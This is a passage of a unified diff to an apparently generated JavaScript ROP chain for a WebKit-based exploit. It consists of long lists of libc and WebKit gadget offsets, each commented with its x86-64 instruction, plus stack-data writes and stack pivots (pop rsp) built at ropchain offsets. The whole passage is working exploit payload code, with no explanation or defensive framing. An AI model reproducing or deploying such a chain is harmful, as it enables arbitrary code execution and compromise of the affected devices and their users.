-webkit_base+954100, //mov [rax], ecx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+287720, //L5212 +ropchain+289288, //L5178 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+206806 //pop rdi ]); -//L5212: +//L5178: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5179: db([0, 0]); // 0x0 -//L5210: +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+287784, //L5215 +ropchain+289384, //L5180 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5213: -db([4294967024, 4294967295]); // -0x110 -set_gadget(libc_base+792472,); //pop rcx -//L5215: +//L5180: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5181: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+287888, //L5218 +ropchain+289504, //L5185 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+287872, //L5217 +ropchain+289488, //L5183 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5217: +//L5183: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5218: +//L5185: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+288056, //L5221 +ropchain+289672, //L5188 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+288072, //L5222 +ropchain+289688, //L5189 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+288024, //L5219 +ropchain+289656, //L5186 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+288040, //L5220 +ropchain+289640, //L5187 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5219: +//L5187: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5220: +//L5186: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5221: +//L5188: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5222: +//L5189: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+288144, //L5223 +ropchain+289760, //L5190 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+288160, //L5224 +ropchain+289776, //L5191 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5223: +//L5190: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5224: +//L5191: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+288256, //L5226 +ropchain+289872, //L5193 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+288240, //L5225 +ropchain+289856, //L5192 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5225: +//L5192: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5226: +//L5193: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax +]); +//L5194: +db([8, 0]); // 0x8 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+288336, //L5228 +ropchain+290000, //L5195 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5228: +//L5195: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5227: -db([32, 0]); // 0x20 +//L5196: +db([8, 0]); // 0x8 set_gadget(libc_base+206806,); //pop rdi -//L5229: -db([32, 0]); // 0x20 +//L5197: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+288472, //L5230 +ropchain+290136, //L5198 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+288504, //L5232 +ropchain+290168, //L5200 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+288488, //L5231 +ropchain+290152, //L5199 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5230: +//L5198: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5231: +//L5199: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5232: +//L5200: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -37935,332 +38037,381 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+14959219, //cmp rax, rcx ; sete al -webkit_base+48555, //setl al -libc_base+269973, //movzx eax, al +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+288672, //L5234 +ropchain+290272, //L5201 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+288688, //L5235 +ropchain+290288, //L5202 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+792472 //pop rcx +]); +//L5201: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5202: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+288656, //L5233 +ropchain+290456, //L5205 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+272260, //mov rax, rsi +libc_base+793877, //pop rsi +ropchain+290424, //L5203 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+290440, //L5204 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L5233: +//L5203: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5234: +set_gadget(libc_base+793877,); //pop rsi +//L5204: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5235: +//L5205: +db([0, 0]); // 0x0 +set_gadget(webkit_base+105267,); //pop rdx db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+7047212, //div rsi ; add rax, rcx +libc_base+877877, //mov rax, rdx libc_base+793877, //pop rsi -ropchain+288792, //L5238 +ropchain+290584, //L5206 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+288840, //L5240 +ropchain+290616, //L5208 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+288824, //L5239 +ropchain+290600, //L5207 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5238: +//L5206: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L5237: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5239: +//L5207: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5240: +//L5208: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+11676600, //cmp rax, rsi ; sete al -libc_base+269973, //movzx eax, al -webkit_base+414627, //shl rax, 3 -libc_base+793877, //pop rsi -ropchain+288952, //L5241+8 -libc_base+547636, //add rax, rsi -libc_base+186490, //mov rax, [rax] +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+288944, //L5241 +ropchain+290704, //L5209 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+811575 //pop rsp +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5241: +//L5209: db([0, 0]); // 0x0 set_gadgets([ -ropchain+288968, //L5241+24 -ropchain+288984, //L5236 -libc_base+811575, //pop rsp -ropchain+289000, //L5242 -//L5236: -libc_base+811575, //pop rsp -ropchain+292880, //L5243 -//L5242: -libc_base+788575 //pop rax +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+290760, //L5211 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5244: +//L5211: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +webkit_base+75236, //or rax, rcx +libc_base+793877 //pop rsi ]); -//L5245: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+759626, //mov rax, r8 +libc_base+793877, //pop rsi +ropchain+290888, //L5214 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877 //pop rsi +]); +//L5213: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+788575,); //pop rax +//L5214: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877 //pop rsi ]); -//L5246: -db([51, 0]); // 0x33 -set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+290968, //L5215 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5215: +db([0, 0]); // 0x0 +set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+793877, //pop rsi +ropchain+291024, //L5217 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5247: -db([41, 0]); // 0x29 +//L5217: +db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+289248, //L5250 +ropchain+291104, //L5219 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5248: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5250: +//L5219: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5220: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+289352, //L5253 +ropchain+291224, //L5224 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+289336, //L5252 +ropchain+291208, //L5222 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5252: +//L5222: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5253: +//L5224: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+291392, //L5227 +webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+289472, //L5255 +ropchain+291408, //L5228 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+289504, //L5257 +ropchain+291376, //L5225 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+289488, //L5256 +ropchain+291360, //L5226 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5254: -db([24, 0]); // 0x18 +//L5226: +db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5255: +//L5225: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5256: +//L5227: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5257: +//L5228: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+289608, //L5260 +ropchain+291480, //L5229 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+289592, //L5259 +ropchain+291496, //L5230 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+206806 //pop rdi ]); -//L5259: +//L5229: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5260: +set_gadget(libc_base+788575,); //pop rax +//L5230: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+289752, //L5263 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+289720, //L5261 +ropchain+291592, //L5232 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+289736, //L5262 +ropchain+291576, //L5231 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+206806 //pop rdi ]); -//L5261: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5262: +//L5231: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5263: +//L5232: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+289824, //L5264 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5264: -db([0, 0]); // 0x0 -set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+289880, //L5267 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L5267: -db([0, 0]); // 0x0 +//L5233: +db([8, 0]); // 0x8 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+289976, //L5270 +ropchain+291720, //L5234 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5268: -db([4294967024, 4294967295]); // -0x110 -set_gadget(libc_base+792472,); //pop rcx -//L5270: +//L5234: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5235: +db([8, 0]); // 0x8 +set_gadget(libc_base+206806,); //pop rdi +//L5236: +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+290080, //L5273 +ropchain+291856, //L5237 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+290064, //L5272 +ropchain+291888, //L5239 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+291872, //L5238 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5272: +//L5237: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5273: +//L5238: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5239: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+290248, //L5276 +ropchain+291992, //L5240 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+290264, //L5277 +ropchain+292008, //L5241 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5240: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5241: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+290216, //L5274 +ropchain+292176, //L5244 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+290232, //L5275 +ropchain+292144, //L5242 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+292160, //L5243 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L5274: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5275: +//L5242: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5276: +set_gadget(libc_base+793877,); //pop rsi +//L5243: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5277: +//L5244: +db([0, 0]); // 0x0 +set_gadget(webkit_base+105267,); //pop rdx db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+7047212, //div rsi ; add rax, rcx +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+290424, //L5281 +ropchain+292360, //L5248 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+290376, //L5278 +ropchain+292344, //L5246 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+290408, //L5280 +ropchain+292312, //L5247 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5278: +//L5247: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5279: -db([4, 0]); // 0x4 -set_gadget(libc_base+206806,); //pop rdi -//L5280: +//L5245: +db([8, 0]); // 0x8 +set_gadget(libc_base+793877,); //pop rsi +//L5246: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5281: +//L5248: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+290496, //L5282 +ropchain+292432, //L5249 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+290512, //L5283 +ropchain+292448, //L5250 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5282: +//L5249: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5283: +//L5250: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -38271,591 +38422,184 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+290600, //L5284 +ropchain+292536, //L5251 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5284: +//L5251: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+290656, //L5287 +ropchain+292592, //L5253 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5287: +//L5253: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+290792, //L5289 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+290808, //L5290 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+290776, //L5288 +ropchain+292664, //L5255 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5288: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5289: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5290: +//L5255: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+290976, //L5293 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+290992, //L5294 +ropchain+292720, //L5257 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+290944, //L5291 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+290960, //L5292 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5291: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5292: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5293: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5294: +//L5257: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+291064, //L5295 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+291080, //L5296 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +webkit_base+2997875, //mov [rax], rcx +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L5295: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5296: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+291176, //L5298 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+291160, //L5297 +ropchain+292824, //L5260 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L5297: -db([0, 0]); // 0x0 +//L5259: +db([4294967280, 4294967295]); // -0x10 set_gadget(libc_base+788575,); //pop rax -//L5298: +//L5260: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L5300: -ropchain+291280, //L5299 +libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+294288, //L4369 -//L5299: -libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi -]); -db([4294967256, 4294967295]); // -0x28 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+291416, //L5302 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+291432, //L5303 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+291400, //L5301 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5301: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5302: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5303: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+291536, //L5306 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+291584, //L5308 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+291568, //L5307 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5306: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L5305: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5307: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5308: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+11676600, //cmp rax, rsi ; sete al -libc_base+269973, //movzx eax, al -webkit_base+414627, //shl rax, 3 -libc_base+793877, //pop rsi -ropchain+291696, //L5309+8 -libc_base+547636, //add rax, rsi -libc_base+186490, //mov rax, [rax] -libc_base+793877, //pop rsi -ropchain+291688, //L5309 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+811575 //pop rsp -]); -//L5309: -db([0, 0]); // 0x0 -set_gadgets([ -ropchain+291712, //L5309+24 -ropchain+292160, //L5304 -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+291768, //L5311 -webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L5310: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5311: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5312: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+291952, //L5315 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+291968, //L5316 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+291920, //L5313 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+291936, //L5314 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L5313: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5314: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5315: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5316: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+292040, //L5317 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+292056, //L5318 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L5317: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5318: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+292152, //L5320 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+292136, //L5319 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L5319: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5320: -db([0, 0]); // 0x0 -//L5304: -//L5321: -set_gadgets([ -libc_base+793877, //pop rsi -ropchain+292216, //L5324 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5322: -db([4294967024, 4294967295]); // -0x110 -set_gadget(libc_base+792472,); //pop rcx -//L5324: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add 